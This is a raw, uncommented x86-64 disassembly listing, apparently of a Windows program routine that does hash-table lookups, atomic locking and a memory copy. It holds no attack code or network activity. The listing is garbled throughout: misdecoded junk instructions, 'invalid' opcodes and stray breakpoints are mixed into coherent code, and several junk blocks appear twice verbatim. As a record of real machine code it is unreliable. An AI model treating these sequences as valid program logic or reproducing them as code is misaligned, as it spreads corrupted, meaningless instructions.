mov qword [rsp + 0x488], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x480], rax
mov dword [rsp + 0x480], eax
and al, 0x80
add al, 0
add byte [rcx + 0xac2484], cl
add byte [rax], al
mov dword [rsp + 0xac], eax
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x270], r12
mov qword [rsp + 0x130], rsi
jmp 0x14009a4f0
mov word [rdi + 0x400], 0x101
mov dword [rdi + 0x404], 0
nop dword [rax + rax]
movzx eax, byte [rsi]
test eax, eax
je 0x14009a570
cmp eax, 1
jne 0x14009cec7
test rdx, rdx
jne 0x14009a53b
mov rcx, qword [rdi + 0x188]
mov rax, qword [rdi + 0x190]
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1e], cl
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1e], cl
call qword [rax + 0x30]
test rax, rax
jne 0x14009cea5
test rdx, rdx
jne 0x14009cff9
mov byte [rdi + 0x400], 2
add byte [rdx], al
mov byte [rdi + 0x401], bl
mov dword [rdi + 0x404], esi
mov rsi, qword [rsp + 0x130]
jmp 0x14009a4f0
lea rcx, [rsp + 0x5c8]
mov rdx, rdi
mov word [rax + rcx*8], fs
add eax, 0x89480000
cli
mov r8, r12
call fcn.14009d930
add byte [rdi], cl
mov dh, 0x84
and al, 0xc8
add eax, 0xf8830000
add al, 0xf
test ah, dh
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0xc8
add eax, 0xf8830000
add al, 0xf
test ah, dh
add eax, 0xb60f0000
pushfq
and al, 0xc9
add eax, 0x8b440000
mov ah, 0x24
int3
movzx ebx, byte [rsp + 0x5c9]
mov r14d, dword [rsp + 0x5cc]
mov r9d, dword [rsp + 0x5d0]
mov r15d, dword [rsp + 0x5d4]
mov esp, 0x5d424
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd8
add eax, 0x44f30000
movq mm4, qword [rsp + 0x5e0]
mov esp, 0x5d424
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd8
add eax, 0x44f30000
movq mm4, qword [rsp + 0x5e0]
mov rbp, qword [rdi + 0x408]
mov rcx, qword [rdi + 0x410]
add byte [rax], al
lea r13, [rbp + 0x10]
add rcx, 0x10
mov qword [rsp + 0x348], rsi
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x300]
mov qword [rsp + 0x350], rdx
mov qword [rsp + 0x368], r13
mov qword [rsp + 0x370], rcx
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + rdi*2], ah
add eax, dword [rax]
add byte [rax], al
mov byte [rsp + 0x378], 0
mov rcx, qword [rsp + 0x2f8]
mov qword [rsp + 0x358], rcx
mov rcx, qword [rsp + 0x5c0]
mov qword [rsp + 0x360], rcx
mov eax, eax
lea rcx, [0x1401749e4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13], cl
mov qword [rsp + 0x108], r9
jne 0x14009b149
mov dword [rsp + 0x7c], eax
lea rax, [rbp + 0x18]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x60], rax
mov rcx, qword [rbp + 0x228]
mov rdx, qword [rbp + 0x230]
mov r8d, r14d
call fcn.140020750
mov r8, qword [rbp + 0x1f8]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x200]
mov r9, qword [rbp + 0x210]
mov r10, r9
and r10, rax
mov rcx, rax
shr rcx, 0x39
mov r11, qword [rbp + 0x208]
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor ebx, ebx
movdqu xmm1, xmmword [r11 + r10]
or al, 0x13
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb esi, xmm2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test si, si
je 0x14009a770
tzcnt r15d, esi
add r15, r10
and r15, r9
lea rcx, [r15*8]
add byte [rbp - 0x77], cl
fmul qword [rcx + 0x29]
int3
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x14009d130
add byte [rbp - 0x77], cl
fmul qword [rcx + 0x29]
int3
lea edi, [rsi - 1]
and edi, esi
mov r12, rcx
shl r12, 4
add al, 0x89
inc byte [rdi + 0x39]
je 0x14009a77e
or byte [rbp - 0x41], dh
add al, 0x89
inc byte [rdi + 0x39]
je 0x14009a77e
or byte [rbp - 0x41], dh
jmp 0x14009a864
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x14009b1bb
add byte [rax], al
add r10, rbx
add r10, 0x10
add rbx, 0x10
and r10, r9
jmp 0x14009a6ff
mov dword [rsp + 0xc0], r9d
mov dword [rsp + 0xc4], r15d
mov qword [rsp + 0xc8], r8
movdqu xmmword [rsp + 0xd0], xmm12
mov rax, qword [rsp + 0xc0]
movq r9, xmm12
lea rcx, [rsp + 0x4a0]
lea rdx, [rsp + 0xd8]
call qword [rax]
mov dword [rsp + 0x49c], r14d
mov byte [rsp + 0x499], bl
mov byte [rsp + 0x498], 1
cmp dword [rdi + 0x3d0], 0
je 0x14009aab2
neg r15
lea rax, [r11 + r15*8]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0xc8], r8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xc0], 0
cmp rcx, rdx
jae 0x14009d37d
mov rax, qword [rbp + 0x1f8]
mov edx, dword [rax + r12 + 8]
mov eax, dword [rax + r12 + 0xc]
mov rsi, qword [rsp + 0x68]
mov dword [rsp + 0x310], eax
mov dword [rsp + 0x314], edx
mov qword [rsp + 0x308], rsi
xor eax, eax
mov cl, 1
mov rdx, qword [rsp + 0x58]
lock cmpxchg byte [rdx], cl
mov rcx, rdx
jne 0x14009b17c
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009b19e
invalid
mov rbx, qword [rdi + 0x408]
lea rsi, [rbx + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x14009cb22
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009cb3d
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x14009d6dd
mov rdx, qword [rdi + 0x410]
lea r14, [rdx + 0x10]
xor eax, eax
mov cl, 1
mov qword [rsp + 0xb0], rdx
lock cmpxchg byte [rdx + 0x10], cl
jne 0x14009cb59
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009cb74
mov dword [rsp + 0xa4], 0
mov qword [rsp + 0x2f0], r14
mov dword [rsp + 0x318], ebp
mov qword [rsp + 0x5a8], rsi
mov r14, qword [rsp + 0xb0]
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x14009d6f9
mov ecx, dword [rbx + 0xc0]
mov ebp, dword [rbx + 0xc4]
mov r15d, 0
mov eax, 0
sub ebp, ecx
jle 0x14009ad42
shl r14, 0x20
or r14, r15
cmp edi, 0x3b9aca00
setne r8b
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], r14
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x140]
call fcn.14001fde0
mov rdi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x88]
mov r13d, dword [rsp + 0x60]
mov r12d, esi
mov r14d, ebp
cmp dword [rdi + 0x100], 4
jne 0x14009ae21
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009ae7b
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x270]
call fcn.1400a3f30
mov r15, rdx
test rax, rax
jne 0x14009ae7b
test r15, r15
jne 0x14009ae7b
mov ecx, 1
cmp dword [rdi + 0x100], 4
jne 0x14009b368
mov rdx, qword [rdi + 0x158]
sub rdx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rdx, qword [rdi + 0x178]
jb 0x14009b368
mov rcx, rax
test rax, rax
jne 0x14009b368
test r15, r15
jne 0x14009b368
test r13d, r13d
je 0x14009b25a
mov r15d, r12d
cmp r12d, dword [rsp + 0x68]
jne 0x14009af30
cmp r14d, dword [rsp + 0x108]
jne 0x14009af30
mov dword [rsp + 0x498], r12d
mov dword [rsp + 0x49c], r14d
mov rax, qword [rbx + 0x1d8]
cmp rax, r15
jbe 0x14009d3ff
mov rcx, qword [rbx + 0x1d0]
imul rdx, r15, 0x130
cmp dword [rcx + rdx], 2
je 0x14009d3ff
add rcx, rdx
cmp dword [rcx + 0x114], r14d
jne 0x14009d3ff
cmp dword [rcx + 0xe8], 0
jne 0x14009d5d0
mov dword [rbx + 0xc8], 0
mov dword [rsp + 0x60], 0
mov ebp, dword [rsp + 0x108]
mov esi, dword [rsp + 0x68]
jmp 0x14009afbd
mov dword [rsp + 0x498], r12d
mov dword [rsp + 0x49c], r14d
cmp qword [rbx + 0x1d8], r15
jbe 0x14009d389
mov rax, qword [rbx + 0x1d0]
imul rcx, r15, 0x130
cmp dword [rax + rcx], 2
je 0x14009d389
add rax, rcx
cmp dword [rax + 0x114], r14d
jne 0x14009d389
mov esi, dword [rax + 0xec]
mov ebp, dword [rax + 0xf0]
cmp dword [rax + 0xe8], 0
mov dword [rax + 0xe8], 0
je 0x14009d5e8
mov dword [rbx + 0xc8], 1
mov dword [rbx + 0xcc], esi
mov dword [rbx + 0xd0], ebp
mov rax, qword [rbx + 0x1d8]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x498], r12d
mov dword [rsp + 0x49c], r14d
cmp rax, r15
jbe 0x14009d389
mov rax, qword [rbx + 0x1d0]
imul r13, r15, 0x130
cmp dword [rax + r13], 2
je 0x14009d389
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009d389
mov byte [rax + 0x127], 0
mov dword [rsp + 0x498], r12d
mov dword [rsp + 0x49c], r14d
cmp qword [rbx + 0x1d8], r15
jbe 0x14009d3ff
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r13], 2
je 0x14009d3ff
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009d3ff
mov edi, dword [rax + 0x48]
movzx ecx, byte [rax + 0x50]
push rax
push rax
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 4
je 0x14009b080
movzx ecx, cl
cmp ecx, 3
jne 0x14009ada0
cmp byte [rax + 0x52], 0
jne 0x14009b08a
jmp 0x14009ada0
cmp byte [rax + 0x51], 0
je 0x14009ada0
mov ecx, dword [rax + 0xa0]
mov ebx, dword [rax + 0xa4]
sub ebx, ecx
jle 0x14009ada0
mov eax, ecx
shr eax, 0x1f
add eax, ecx
sar eax, 1
cmp ebx, eax
jl 0x14009ada0
mov dword [rsp + 0x144], r14d
mov dword [rsp + 0x148], ebx
mov byte [rsp + 0x140], 7
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x140]
call fcn.140079c30
cmp al, 0xc
jne 0x14009d84a
mov dword [rsp + 0x498], r12d
mov dword [rsp + 0x49c], r14d
mov rax, qword [rsp + 0x88]
cmp qword [rax + 0x1d8], r15
jbe 0x14009d389
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x1d0]
cmp dword [rax + r13], 2
je 0x14009d389
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009d389
add ebx, dword [rax + 0xa0]
jo 0x14009d87d
mov dword [rax + 0xa0], ebx
jmp 0x14009ada0
mov rcx, qword [rsp + 0x58]
call fcn.14010c7c0
mov rcx, qword [rsp + 0x58]
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14009a8ea
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], r14
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0xd8], rsi
test r14d, r14d
je 0x14009d8cc
cmp byte [rbp + 0x70], 0
setne al
xor al, r14b
test al, 1
je 0x14009b264
cmp dword [rbp + 0x118], 0
jne 0x14009b28b
cmp dword [rbp + 0x11c], r14d
ja 0x14009b28b
lea eax, [r14 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbp + 0x118], ecx
mov dword [rbp + 0x11c], eax
jmp 0x14009b28b
xor r15d, r15d
xor ecx, ecx
jmp 0x14009b368
cmp dword [rbp + 0xa0], 0
jne 0x14009b28b
cmp dword [rbp + 0xa4], r14d
ja 0x14009b28b
lea eax, [r14 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbp + 0xa0], ecx
mov dword [rbp + 0xa4], eax
mov dword [rsp + 0x254], r14d
mov byte [rsp + 0x190], 6
mov dword [rsp + 0x1f8], 0
mov qword [rsp + 0x140], 0
mov dword [rsp + 0x204], 0
mov dword [rsp + 0x210], 0
mov dword [rsp + 0x21c], 0
mov qword [rsp + 0x1e0], 0
mov dword [rsp + 0x228], 0
lea rax, [rsp + 0x150]
movups xmmword [rax + 0x78], xmm6
movups xmmword [rax + 0x68], xmm6
movups xmmword [rax + 0x108], xmm6
mov dword [rsp + 0x188], 0x3b9aca00
mov dword [rsp + 0x234], 0
mov qword [rsp + 0x158], 0
mov byte [rsp + 0x268], 1
mov qword [rsp + 0x1e8], 0
mov dword [rsp + 0x240], 0
mov qword [rsp + 0x170], 0
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x140]
call fcn.140027070
jmp 0x14009a8ab
mov rax, rcx
or rax, r15
mov eax, 0
cmovne rax, rcx
mov r12, qword [rsp + 0x270]
mov r14, qword [rsp + 0xb0]
test rax, rax
jne 0x14009cc13
test r15, r15
jne 0x14009cc13
cmp dword [rdi + 0x100], 4
jne 0x14009b3c9
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
movzx ecx, byte [rsp + 0x42]
jae 0x14009b438
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3f30
mov r15, rdx
test rax, rax
jne 0x14009b433
test r15, r15
movzx ecx, byte [rsp + 0x42]
jne 0x14009b438
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009b420
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
movzx ecx, byte [rsp + 0x42]
jae 0x14009b438
cmp byte [rsp + 0xa4], 0
jne 0x14009cc33
jmp 0x14009cc20
movzx ecx, byte [rsp + 0x42]
test rax, rax
jne 0x14009cb91
test r15, r15
lea rsi, [rsp + 0x498]
jne 0x14009cb91
lea rdx, [r14 + 0x18]
lea rcx, [rbx + 0x120]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x2b0], rdx
mov r8, qword [rsp + 0x58]
mov r9, rdi
call fcn.1400a4b60
mov eax, dword [rdi + 0x180]
mov qword [rsp + 0x5b8], rax
lea r13, [rbx + 0x130]
lea rax, [rbx + 0x134]
mov qword [rsp + 0x60], rax
lea rax, [rbx + 0x138]
mov qword [rsp + 0x68], rax
lea rax, [rbx + 0x13c]
mov qword [rsp + 0x108], rax
lea rax, [rbx + 0x140]
mov qword [rsp + 0x490], rax
lea rax, [rbx + 0x158]
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x90], r13
nop dword [rax]
mov rax, qword [rbx + 0x28]
cmp rax, qword [rbx + 0x30]
jbe 0x14009b6a3
mov rcx, rsi
mov rdx, qword [rsp + 0x5a0]
mov r8, qword [rsp + 0x58]
call fcn.140021fa0
cmp qword [rsp + 0x498], 0
je 0x14009b6a3
mov r14, qword [rsp + 0x498]
mov rdx, rsi
mov rsi, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0xb8]
call fcn.14001fce0
mov qword [rsp + 0xc0], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x14009d69b
mov rax, qword [r14 + 8]
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x14009d69b
mov rdi, rsi
shr rdi, 0x20
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x14009d69b
mov rdx, qword [rax + 0x90]
mov rcx, qword [rax + 0x98]
mov qword [rax + 0x90], 0
test rdx, rdx
je 0x14009b592
call qword [rdx + 8]
mov qword [rsp + 0x498], r14
mov qword [rsp + 0x4a0], rsi
mov qword [rsp + 0xc0], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x14009d68e
mov rdx, qword [r14 + 8]
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je 0x14009d68e
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x14009d68e
cmp byte [rdx + 0x121], 0
jne 0x14009b67b
mov byte [rdx + 0x121], 1
cmp dword [r13], 0
je 0x14009b651
mov rdx, qword [rsp + 0x60]
movq xmm0, qword [rdx]
mov dword [rsp + 0xc0], esi
mov dword [rsp + 0xc4], edi
cmp qword [r14 + 0x10], rcx
jbe 0x14009d69b
mov rcx, qword [r14 + 8]
cmp dword [rcx + rax], 2
je 0x14009d69b
add rcx, rax
cmp dword [rcx + 0x114], edi
jne 0x14009d69b
mov dword [rcx + 0xb8], 1
movq qword [rcx + 0xbc], xmm0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
jmp 0x14009b677
mov dword [r13], 1
mov rax, qword [rsp + 0x60]
mov dword [rax], esi
mov rax, qword [rsp + 0x68]
mov dword [rax], edi
mov rax, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x490]
mov dword [rax], esi
mov dword [rcx], edi
mov rcx, qword [rsp + 0x120]
lea rsi, [rsp + 0x498]
mov rdx, rsi
call fcn.140021a70
mov rdi, qword [rsp + 0x128]
mov r14, qword [rsp + 0xb0]
mov qword [rsp + 0x320], 2
mov qword [rsp + 0x340], 0
cmp dword [r13], 0
jne 0x14009b6db
jmp 0x14009c871
call qword [rax + 0x80]
nop dword [rax]
cmp dword [r13], 0
je 0x14009bd54
mov rax, qword [rsp + 0x60]
mov ebp, dword [rax]
mov rax, qword [rsp + 0x68]
mov r15d, dword [rax]
mov rax, qword [rsp + 0x108]
cmp ebp, dword [rax]
jne 0x14009b770
mov rax, qword [rsp + 0x490]
cmp r15d, dword [rax]
jne 0x14009b770
mov dword [rsp + 0x498], ebp
mov dword [rsp + 0x49c], r15d
mov rax, qword [rbx + 0x1d8]
cmp rax, rbp
jbe 0x14009d3ff
mov rcx, qword [rbx + 0x1d0]
imul rdx, rbp, 0x130
cmp dword [rcx + rdx], 2
je 0x14009d3ff
add rcx, rdx
cmp dword [rcx + 0x114], r15d
jne 0x14009d3ff
cmp dword [rcx + 0xb8], 0
jne 0x14009d5d0
mov dword [r13], 0
jmp 0x14009b7ec
mov dword [rsp + 0x498], ebp
mov dword [rsp + 0x49c], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009d389
mov rax, qword [rbx + 0x1d0]
imul rcx, rbp, 0x130
cmp dword [rax + rcx], 2
je 0x14009d389
add rax, rcx
cmp dword [rax + 0x114], r15d
jne 0x14009d389
movq xmm0, qword [rax + 0xbc]
cmp dword [rax + 0xb8], 0
mov dword [rax + 0xb8], 0
je 0x14009d5e8
mov dword [rbx + 0x130], 1
movq qword [rbx + 0x134], xmm0
mov rax, qword [rbx + 0x1d8]
mov dword [rsp + 0x498], ebp
mov dword [rsp + 0x49c], r15d
cmp rax, rbp
jbe 0x14009d389
mov rax, qword [rbx + 0x1d0]
imul r12, rbp, 0x130
cmp dword [rax + r12], 2
je 0x14009d389
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009d389
mov rcx, r15
shl rcx, 0x20
or rcx, rbp
mov byte [rax + 0x121], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x568], rax
mov qword [rsp + 0x570], rcx
mov qword [rsp + 0x278], 2
mov qword [rsp + 0x298], 0
mov dword [rsp + 0x498], ebp
mov dword [rsp + 0x49c], r15d
mov rcx, qword [rbx + 0x1d8]
cmp rcx, rbp
jbe 0x14009d3ff
mov rax, qword [rbx + 0x1d0]
mov rdx, qword [rax + r12]
cmp rdx, 2
je 0x14009d3ff
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009d3ff
mov r8d, dword [rax + 0x48]
test rdx, rdx
je 0x14009b930
mov dword [rsp + 0x7c], r8d
mov r9, qword [rax + 8]
cmp qword [r14 + 0x28], r9
jbe 0x14009d5b8
mov r11, qword [rax + 0x10]
imul rcx, r9, 0x138
mov rdx, qword [r14 + 0x20]
mov rsi, qword [r14 + 0x38]
mov r10, qword [rdx + rcx]
mov r8, qword [rdx + rcx + 8]
mov qword [rdx + rcx], 2
mov qword [rdx + rcx + 8], rsi
cmp r10, 2
je 0x14009d5b1
dec qword [r14 + 0x30]
mov qword [r14 + 0x38], r9
cmp r9, r11
jne 0x14009b960
test r10, r10
lea rsi, [rsp + 0x498]
jne 0x14009d676
mov qword [rax], 0
jmp 0x14009b97c
mov byte [rsp + 0x348], 9
mov dword [rsp + 0x110], ebp
mov dword [rsp + 0x114], r15d
cmp rcx, rbp
ja 0x14009b9de
jmp 0x14009d44f
test r10, r10
lea rsi, [rsp + 0x498]
je 0x14009d66a
mov qword [rax], 1
mov qword [rax + 8], r8
add rdx, rcx
add rdx, 0x10
mov r8d, 0x128
lea rcx, [rsp + 0x348]
call sub.VCRUNTIME140.dll_memcpy
movzx r13d, byte [rsp + 0x348]
test r13d, r13d
je 0x14009ba30
cmp r13d, 9
jne 0x14009be24
mov rcx, qword [rbx + 0x1d8]
mov r13, qword [rsp + 0x90]
mov r8d, dword [rsp + 0x7c]
mov dword [rsp + 0x110], ebp
mov dword [rsp + 0x114], r15d
cmp rcx, rbp
jbe 0x14009d44f
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r12], 2
je 0x14009d44f
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009d44f
cmp byte [rax + 0x50], 5
je 0x14009bd90
cmp r8d, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x568]
call fcn.14001fde0
jmp 0x14009bc44
mov rsi, qword [rsp + 0x350]
movdqu xmm13, xmmword [rsp + 0x358]
movdqu xmm12, xmmword [rsp + 0x368]
mov r10d, dword [rsp + 0x378]
movzx r11d, byte [rsp + 0x37c]
movzx eax, byte [rsp + 0x37d]
mov byte [rsp + 0x43], al
movzx r14d, byte [rsp + 0x37e]
movzx edx, byte [rsp + 0x37f]
mov dword [rsp + 0x110], ebp
mov dword [rsp + 0x114], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009d44f
mov rcx, qword [rbx + 0x1d0]
cmp dword [rcx + r12], 2
je 0x14009d44f
add rcx, r12
cmp dword [rcx + 0x114], r15d
jne 0x14009d44f
mov eax, dword [rcx + 0x84]
test rsi, rsi
mov r13, qword [rsp + 0x90]
je 0x14009bafc
cmp rsi, 1
jne 0x14009bb87
pshufd xmm0, xmm13, 0xee
movq r8, xmm0
movq r9, xmm12
sub r8, r9
mov r9d, 0
cmovae r9, r8
test r9, r9
jne 0x14009bb0a
jmp 0x14009bb8a
movq r9, xmm12
test r9, r9
je 0x14009bb8a
test eax, eax
jne 0x14009bb8a
mov qword [rsp + 0x148], rsi
movdqu xmmword [rsp + 0x150], xmm13
movdqu xmmword [rsp + 0x160], xmm12
mov dword [rsp + 0x170], r10d
mov byte [rsp + 0x174], r11b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x175], al
mov byte [rsp + 0x176], r14b
mov byte [rsp + 0x177], dl
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x2b0]
lea r8, [rsp + 0x140]
call fcn.1400a5080
lea rsi, [rsp + 0x498]
mov r14, qword [rsp + 0xb0]
jmp 0x14009bc44
xor r9d, r9d
mov r8, qword [rsp + 0x5b8]
cmp r9, r8
cmovae r9, r8
xor r13d, r13d
test eax, eax
mov r8d, 0
cmovg r8d, eax
cmp r9, r8
cmovae r9, r8
test r9, r9
je 0x14009c01c
mov r13d, r9d
cmp dword [rcx + 0x80], r9d
jge 0x14009c01c
mov qword [rsp + 0x148], rsi
movdqu xmmword [rsp + 0x150], xmm13
movdqu xmmword [rsp + 0x160], xmm12
mov dword [rsp + 0x170], r10d
mov byte [rsp + 0x174], r11b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x175], al
mov byte [rsp + 0x176], r14b
mov byte [rsp + 0x177], dl
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x2b0]
lea r8, [rsp + 0x140]
call fcn.1400a5080
lea rsi, [rsp + 0x498]
mov r14, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x348]
cmp eax, 9
mov r12, qword [rsp + 0x270]
ja 0x14009bd30
mov ecx, 0x209
bt ecx, eax
jae 0x14009bd30
mov rdx, qword [rsp + 0x278]
cmp rdx, 2
je 0x14009b6d0
mov rcx, qword [rsp + 0x280]
mov rax, qword [rsp + 0x288]
test rdx, rdx
je 0x14009bca4
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x290]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x278]
cmp r8, 2
je 0x14009b6d0
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
mov rax, qword [rsp + 0x288]
test r8, r8
je 0x14009b6c7
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x280]
add byte [rax], al
lock dec qword [rax]
jne 0x14009b6d0
mov rcx, qword [rsp + 0x280]
mov rdx, qword [rsp + 0x288]
call fcn.1400049d0
jmp 0x14009b6d0
lea rcx, [rsp + 0x348]
call fcn.140087fc0
mov rdx, qword [rsp + 0x278]
cmp rdx, 2
je 0x14009b6d0
jmp 0x14009bc7d
mov r13b, 9
mov ecx, dword [rsp + 0x4c]
movzx r9d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm10
movdqa xmm12, xmm11
jrcxz 0x14009bd00
pushfq
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xa8
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xf0
lock add byte [rax], al
add cl, ch
invalid
or dword [rax], eax
invalid
jrcxz 0x14009bd00
pushfq
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xa8
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xf0
lock add byte [rax], al
lock add byte [rax], al
add cl, ch
movabs dword [0x7c24448944000009], eax
mov dword [rsp + 0x7c], r8d
mov esi, dword [rax + 0x54]
mov word [rax + 0x50], 0x100
push rax
add byte [rcx], al
push rax
add byte [rcx], al
mov dword [rax + 0x54], r15d
mov dword [rax + 0x58], esi
mov dword [rsp + 0x110], ebp
mov dword [rsp + 0x114], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009d44f
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r12], 2
je 0x14009d44f
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009d44f
mov r14d, esi
shr r14d, 0x10
mov r13b, 8
mov edx, r15d
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm9
movdqa xmm12, xmm8
movzx eax, byte [rsp + 0x348]
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
xchg ebx, eax
add al, 0
invalid
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
xchg ebx, eax
add al, 0
add cl, ch
pushfq
add al, 0
add byte [rcx - 0x7d], al
std
add ecx, dword [rdi]
test dword [rdx + 3], edi
add byte [rax], al
jmp 0x14009c2c0
cmp r13d, 3
jne 0x14009c1a8
mov rsi, qword [rsp + 0x350]
movdqu xmm13, xmmword [rsp + 0x358]
movdqu xmm12, xmmword [rsp + 0x368]
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0xf0], rax
mov r14d, dword [rsp + 0x380]
mov esi, dword [rsp + 0x380]
mov esi, dword [rsp + 0x380]
mov eax, dword [rsp + 0x384]
mov dword [rsp + 0x74], eax
movzx eax, byte [rsp + 0x388]
mov byte [rsp + 0x4b], al
lea rcx, [rsp + 0x389]
mov word [rcx + rcx*4], fs
add eax, dword [rax]
add byte [rbx + 0x3498b01], cl
mov word [rcx + rcx*4], fs
add eax, dword [rax]
add byte [rbx + 0x3498b01], cl
mov dword [rsp + 0x2e8], eax
mov dword [rsp + 0x2eb], ecx
mov eax, dword [rsp + 0x390]
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x44], eax
movzx eax, byte [rsp + 0x394]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x395]
test byte [rdx*4 - 0x77fffffd], ah
and al, 0x43
test byte [rdx*4 - 0x77fffffd], ah
and al, 0x43
movzx eax, byte [rsp + 0x396]
mov dword [rsp + 0xac], eax
and al, 0xac
add byte [rax], al
add byte [rcx - 0x48], al
int 0
add byte [rax], al
and al, 0xac
add byte [rax], al
add byte [rcx - 0x48], al
int 0
add byte [rax], al
lea rcx, [rsp + 0x140]
